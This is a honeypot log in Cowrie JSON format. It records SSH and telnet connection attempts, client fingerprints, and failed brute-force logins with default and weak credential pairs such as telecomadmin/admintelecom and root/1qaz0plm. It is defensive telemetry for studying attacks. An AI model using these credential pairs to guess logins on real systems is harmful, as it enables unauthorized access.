{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:42.880842Z","src_ip":"209.38.20.25","session":"dfab4d818b14","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devtest","password":"devtest","message":"login attempt [devtest/devtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:43.759487Z","src_ip":"209.38.20.25","session":"dfab4d818b14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:44.975114Z","src_ip":"209.38.20.25","session":"dfab4d818b14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":35756,"dst_ip":"159.203.135.109","dst_port":23,"session":"46dbebd706da","protocol":"telnet","message":"New connection: 207.180.228.157:35756 (159.203.135.109:23) [session: 46dbebd706da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:46.198426Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":35762,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0d00d6ea320","protocol":"telnet","message":"New connection: 207.180.228.157:35762 (159.203.135.109:23) [session: f0d00d6ea320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:46.425033Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":35778,"dst_ip":"159.203.135.109","dst_port":23,"session":"584507201e25","protocol":"telnet","message":"New connection: 207.180.228.157:35778 (159.203.135.109:23) [session: 584507201e25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:47.310861Z"}
{"eventid":"cowrie.session.closed","duration":31.11729669570923,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:48.820733Z","src_ip":"207.180.228.157","session":"399474914f14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":35788,"dst_ip":"159.203.135.109","dst_port":23,"session":"32babae601e7","protocol":"telnet","message":"New connection: 207.180.228.157:35788 (159.203.135.109:23) [session: 32babae601e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:50.042157Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.46.255.86","src_port":63514,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbbed4f2f4a2","protocol":"ssh","message":"New connection: 193.46.255.86:63514 (10.17.0.5:22) [session: dbbed4f2f4a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:51.585154Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:51.590975Z","src_ip":"193.46.255.86","session":"dbbed4f2f4a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:51.751754Z","src_ip":"193.46.255.86","session":"dbbed4f2f4a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telecomadmin","password":"admintelecom","message":"login attempt [telecomadmin/admintelecom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:52.391484Z","src_ip":"193.46.255.86","session":"dbbed4f2f4a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"telecomadmin","password":"1234","message":"login attempt [telecomadmin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:53.536586Z","src_ip":"193.46.255.86","session":"dbbed4f2f4a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":35794,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d5347f32baf","protocol":"telnet","message":"New connection: 207.180.228.157:35794 (159.203.135.109:23) [session: 1d5347f32baf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:54.005201Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":49124,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f97c5d455cd","protocol":"telnet","message":"New connection: 207.180.228.157:49124 (159.203.135.109:23) [session: 4f97c5d455cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:54.581312Z"}
{"eventid":"cowrie.login.failed","username":"telecomadmin","password":"abc123","message":"login attempt [telecomadmin/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:54.680933Z","src_ip":"193.46.255.86","session":"dbbed4f2f4a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":49138,"dst_ip":"159.203.135.109","dst_port":23,"session":"00e5c5930231","protocol":"telnet","message":"New connection: 207.180.228.157:49138 (159.203.135.109:23) [session: 00e5c5930231]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:55.406484Z"}
{"eventid":"cowrie.login.failed","username":"telecomadmin","password":"abcd123","message":"login attempt [telecomadmin/abcd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:55.825013Z","src_ip":"193.46.255.86","session":"dbbed4f2f4a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":49144,"dst_ip":"159.203.135.109","dst_port":23,"session":"922807ad4393","protocol":"telnet","message":"New connection: 207.180.228.157:49144 (159.203.135.109:23) [session: 922807ad4393]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:55.969761Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":49146,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fac77bbf8b2","protocol":"telnet","message":"New connection: 207.180.228.157:49146 (159.203.135.109:23) [session: 3fac77bbf8b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:56.029449Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":49158,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f95e6d22a8c","protocol":"telnet","message":"New connection: 207.180.228.157:49158 (159.203.135.109:23) [session: 3f95e6d22a8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:56.824782Z"}
{"eventid":"cowrie.login.failed","username":"telecomadmin","password":"abcd1234","message":"login attempt [telecomadmin/abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:56.969394Z","src_ip":"193.46.255.86","session":"dbbed4f2f4a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":49164,"dst_ip":"159.203.135.109","dst_port":23,"session":"363f39b3c54d","protocol":"telnet","message":"New connection: 207.180.228.157:49164 (159.203.135.109:23) [session: 363f39b3c54d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:57.859814Z"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:58.113799Z","src_ip":"193.46.255.86","session":"dbbed4f2f4a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":49174,"dst_ip":"159.203.135.109","dst_port":23,"session":"d44db3bd2869","protocol":"telnet","message":"New connection: 207.180.228.157:49174 (159.203.135.109:23) [session: d44db3bd2869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:58.760927Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":49186,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b6feb2b18b1","protocol":"telnet","message":"New connection: 207.180.228.157:49186 (159.203.135.109:23) [session: 8b6feb2b18b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:59.171359Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":49194,"dst_ip":"159.203.135.109","dst_port":23,"session":"48ece4730d7e","protocol":"telnet","message":"New connection: 207.180.228.157:49194 (159.203.135.109:23) [session: 48ece4730d7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:59.338860Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":49204,"dst_ip":"159.203.135.109","dst_port":23,"session":"898938f6c1bb","protocol":"telnet","message":"New connection: 207.180.228.157:49204 (159.203.135.109:23) [session: 898938f6c1bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:05:59.751696Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":49208,"dst_ip":"159.203.135.109","dst_port":23,"session":"33a555d0c32b","protocol":"telnet","message":"New connection: 207.180.228.157:49208 (159.203.135.109:23) [session: 33a555d0c32b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:00.484940Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":49216,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9af2f74b232","protocol":"telnet","message":"New connection: 207.180.228.157:49216 (159.203.135.109:23) [session: c9af2f74b232]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:01.037056Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":49224,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd223b547f0e","protocol":"telnet","message":"New connection: 207.180.228.157:49224 (159.203.135.109:23) [session: fd223b547f0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:03.122053Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":49238,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fd86bf30ca7","protocol":"telnet","message":"New connection: 207.180.228.157:49238 (159.203.135.109:23) [session: 6fd86bf30ca7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:03.755303Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":42338,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfff916d9b7f","protocol":"telnet","message":"New connection: 207.180.228.157:42338 (159.203.135.109:23) [session: cfff916d9b7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:07.869150Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":42340,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f4ef36e01d0","protocol":"telnet","message":"New connection: 207.180.228.157:42340 (159.203.135.109:23) [session: 0f4ef36e01d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:08.218574Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":42354,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b1eadbdf145","protocol":"telnet","message":"New connection: 207.180.228.157:42354 (159.203.135.109:23) [session: 0b1eadbdf145]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:08.704644Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":42364,"dst_ip":"159.203.135.109","dst_port":23,"session":"730e9e5b242b","protocol":"telnet","message":"New connection: 207.180.228.157:42364 (159.203.135.109:23) [session: 730e9e5b242b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:08.793010Z"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":49080,"dst_ip":"10.17.0.5","dst_port":22,"session":"f12594ca2871","protocol":"ssh","message":"New connection: 59.17.95.129:49080 (10.17.0.5:22) [session: f12594ca2871]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:11.520958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:11.525773Z","src_ip":"59.17.95.129","session":"f12594ca2871","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.74077033996582,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:11.628840Z","src_ip":"207.180.228.157","session":"44f2369fb31c","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:11.727123Z","src_ip":"59.17.95.129","session":"f12594ca2871","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":42368,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb98bc873975","protocol":"telnet","message":"New connection: 207.180.228.157:42368 (159.203.135.109:23) [session: cb98bc873975]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:12.361780Z"}
{"eventid":"cowrie.session.closed","duration":31.431339025497437,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:12.500637Z","src_ip":"207.180.228.157","session":"3d49219918c6","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz0plm","message":"login attempt [root/1qaz0plm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:12.565895Z","src_ip":"59.17.95.129","session":"f12594ca2871","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":42374,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e1a7d4cf14e","protocol":"telnet","message":"New connection: 207.180.228.157:42374 (159.203.135.109:23) [session: 4e1a7d4cf14e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:12.809230Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:13.769356Z","src_ip":"59.17.95.129","session":"f12594ca2871","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":42386,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7a73aceac72","protocol":"telnet","message":"New connection: 207.180.228.157:42386 (159.203.135.109:23) [session: b7a73aceac72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:13.830180Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":42388,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf2cfed280f3","protocol":"telnet","message":"New connection: 207.180.228.157:42388 (159.203.135.109:23) [session: bf2cfed280f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:13.884797Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":34940,"dst_ip":"159.203.135.109","dst_port":23,"session":"942859c88bc6","protocol":"telnet","message":"New connection: 207.180.228.157:34940 (159.203.135.109:23) [session: 942859c88bc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:15.242747Z"}
{"eventid":"cowrie.session.closed","duration":31.10441827774048,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:17.302574Z","src_ip":"207.180.228.157","session":"46dbebd706da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91332197189331,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:17.338215Z","src_ip":"207.180.228.157","session":"f0d00d6ea320","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":34954,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fb2e065bcad","protocol":"telnet","message":"New connection: 207.180.228.157:34954 (159.203.135.109:23) [session: 6fb2e065bcad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:18.658706Z"}
{"eventid":"cowrie.session.closed","duration":31.493486881256104,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:18.804249Z","src_ip":"207.180.228.157","session":"584507201e25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":34964,"dst_ip":"159.203.135.109","dst_port":23,"session":"e051c592f4f1","protocol":"telnet","message":"New connection: 207.180.228.157:34964 (159.203.135.109:23) [session: e051c592f4f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:19.240796Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":34976,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc1571bde1e6","protocol":"telnet","message":"New connection: 207.180.228.157:34976 (159.203.135.109:23) [session: fc1571bde1e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:20.299417Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":49444,"dst_ip":"159.203.135.109","dst_port":23,"session":"76b50258f28c","protocol":"telnet","message":"New connection: 174.138.46.234:49444 (159.203.135.109:23) [session: 76b50258f28c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:21.374117Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":49534,"dst_ip":"159.203.135.109","dst_port":23,"session":"eaec0ae7f305","protocol":"telnet","message":"New connection: 174.138.46.234:49534 (159.203.135.109:23) [session: eaec0ae7f305]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:21.728732Z"}
{"eventid":"cowrie.session.closed","duration":31.853124856948853,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:21.895171Z","src_ip":"207.180.228.157","session":"32babae601e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":49636,"dst_ip":"159.203.135.109","dst_port":23,"session":"14a90242ffd8","protocol":"telnet","message":"New connection: 174.138.46.234:49636 (159.203.135.109:23) [session: 14a90242ffd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:22.058570Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":34980,"dst_ip":"159.203.135.109","dst_port":23,"session":"1aae8fd5ca5d","protocol":"telnet","message":"New connection: 207.180.228.157:34980 (159.203.135.109:23) [session: 1aae8fd5ca5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:22.290638Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":34982,"dst_ip":"159.203.135.109","dst_port":23,"session":"451e4ab7a1a2","protocol":"telnet","message":"New connection: 207.180.228.157:34982 (159.203.135.109:23) [session: 451e4ab7a1a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:22.405972Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":34992,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb8d90d42e56","protocol":"telnet","message":"New connection: 207.180.228.157:34992 (159.203.135.109:23) [session: cb8d90d42e56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:22.956533Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":35006,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa98d0b37307","protocol":"telnet","message":"New connection: 207.180.228.157:35006 (159.203.135.109:23) [session: fa98d0b37307]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:22.965191Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":35010,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd06cf4a50da","protocol":"telnet","message":"New connection: 207.180.228.157:35010 (159.203.135.109:23) [session: dd06cf4a50da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:23.107341Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":35024,"dst_ip":"159.203.135.109","dst_port":23,"session":"c43d2108245d","protocol":"telnet","message":"New connection: 207.180.228.157:35024 (159.203.135.109:23) [session: c43d2108245d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:06:23.178755Z"}
